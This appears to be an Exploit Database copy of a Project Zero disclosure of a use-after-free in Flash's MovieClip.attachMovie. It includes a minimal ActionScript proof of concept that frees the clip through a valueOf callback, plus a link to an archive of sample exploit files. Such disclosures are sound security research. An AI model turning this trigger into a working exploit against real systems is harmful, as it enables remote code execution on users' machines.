23 lines
No EOL
745 B
Text
23 lines
No EOL
745 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=571
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There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.
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A minimal PoC is as follows:
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n ={valueOf : func};
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function func(){
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_global.mc.removeMovieClip();
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// fix heap here;
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}
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this.createEmptyMovieClip("mc", 1);
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_global.mc = mc;
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mc.attachMovie("myResetButton","newResetButton", n);
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39055.zip |